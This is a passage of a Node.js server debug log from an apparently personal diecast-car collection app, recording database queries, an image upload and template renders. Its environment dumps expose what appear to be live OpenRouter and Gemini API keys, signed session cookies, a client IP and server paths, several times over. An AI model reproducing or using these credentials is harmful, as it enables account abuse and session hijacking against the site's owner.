    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T09:08:18.601Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T09:08:18.602Z server-connect:app Executing action step identify
2026-02-04T09:08:18.602Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:18.602Z server-connect:output identity: 1
2026-02-04T09:08:18.602Z server-connect:app Executing action step restrict
2026-02-04T09:08:18.602Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:08:18.602Z server-connect:output restrict: undefined
2026-02-04T09:08:18.602Z server-connect:app Executing action step paged
2026-02-04T09:08:18.602Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T09:08:18.604Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    }
  ]
}
2026-02-04T09:08:18.813Z server-connect:router Serving templateView /
2026-02-04T09:08:18.813Z server-connect:app Executing action step identify
2026-02-04T09:08:18.813Z server-connect:app options: { provider: 'security' }
2026-02-04T09:08:18.814Z server-connect:output identity: 1
2026-02-04T09:08:18.814Z server-connect:app Executing action step restrict
2026-02-04T09:08:18.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:18.814Z server-connect:output restrict: undefined
2026-02-04T09:08:18.814Z server-connect:app Executing action step restrict
2026-02-04T09:08:18.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:08:18.814Z server-connect:output restrict: undefined
2026-02-04T09:08:18.814Z server-connect:router Render template layouts/main
2026-02-04T09:08:18.814Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T09:54:03.077Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T09:54:03.077Z server-connect:app Executing action step identify
2026-02-04T09:54:03.077Z server-connect:app options: { provider: 'security' }
2026-02-04T09:54:03.077Z server-connect:output identity: 1
2026-02-04T09:54:03.078Z server-connect:app Executing action step restrict
2026-02-04T09:54:03.078Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:54:03.080Z server-connect:output restrict: undefined
2026-02-04T09:54:03.080Z server-connect:app Executing action step condition
2026-02-04T09:54:03.080Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T09:54:03.080Z server-connect:app Executing action step update
2026-02-04T09:54:03.080Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T09:54:03.082Z server-connect:output update: { affected: 1 }
2026-02-04T09:54:03.083Z server-connect:app Executing action step upload
2026-02-04T09:54:03.083Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T09:54:03.083Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T09:54:03.083Z server-connect:upload Process fields: 'images[]'
2026-02-04T09:54:03.083Z server-connect:upload Processing file: {
  name: 's-l1600.webp',
  data: <Buffer >,
  size: 64038,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-35-20378841770198843076',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'd7c2d79a8926d2a9a3d83ca7d4e5f3e9',
  mv: [Function: mv]
}
2026-02-04T09:54:03.083Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp',
  rel: 'public/assets/images/diecast/s-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp'
}
2026-02-04T09:54:03.083Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp',
  rel: 'assets/images/diecast/s-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp'
}
2026-02-04T09:54:03.083Z server-connect:output upload_image: [
  {
    name: 's-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp',
    path: '/public/assets/images/diecast/s-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp',
    url: '/assets/images/diecast/s-l1600_f3dd802f-521c-40be-828d-0a68587bf659.webp',
    type: 'image/webp',
    size: 64038
  }
]
2026-02-04T09:54:03.083Z server-connect:app Executing action step repeat
2026-02-04T09:54:03.083Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T09:54:03.083Z server-connect:app Executing action step insert
2026-02-04T09:54:03.083Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T09:54:03.084Z server-connect:output images: { affected: 1, identity: 186 }
2026-02-04T09:54:03.084Z server-connect:output repeat_images: [ {} ]
2026-02-04T09:54:03.084Z server-connect:output condition: undefined
2026-02-04T09:54:03.349Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T09:54:03.350Z server-connect:app Executing action step identify
2026-02-04T09:54:03.350Z server-connect:app options: { provider: 'security' }
2026-02-04T09:54:03.350Z server-connect:output identity: 1
2026-02-04T09:54:03.350Z server-connect:app Executing action step restrict
2026-02-04T09:54:03.350Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T09:54:03.350Z server-connect:output restrict: undefined
2026-02-04T09:54:03.351Z server-connect:app Executing action step paged
2026-02-04T09:54:03.351Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T09:54:03.354Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T09:54:03.642Z server-connect:router Serving templateView /
2026-02-04T09:54:03.642Z server-connect:app Executing action step identify
2026-02-04T09:54:03.642Z server-connect:app options: { provider: 'security' }
2026-02-04T09:54:03.643Z server-connect:output identity: 1
2026-02-04T09:54:03.643Z server-connect:app Executing action step restrict
2026-02-04T09:54:03.643Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:54:03.643Z server-connect:output restrict: undefined
2026-02-04T09:54:03.643Z server-connect:app Executing action step restrict
2026-02-04T09:54:03.643Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T09:54:03.644Z server-connect:output restrict: undefined
2026-02-04T09:54:03.644Z server-connect:router Render template layouts/main
2026-02-04T09:54:03.645Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=194&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:02:27.406Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:02:27.406Z server-connect:app Executing action step identify
2026-02-04T10:02:27.406Z server-connect:app options: { provider: 'security' }
2026-02-04T10:02:27.406Z server-connect:output identity: 1
2026-02-04T10:02:27.406Z server-connect:app Executing action step restrict
2026-02-04T10:02:27.406Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
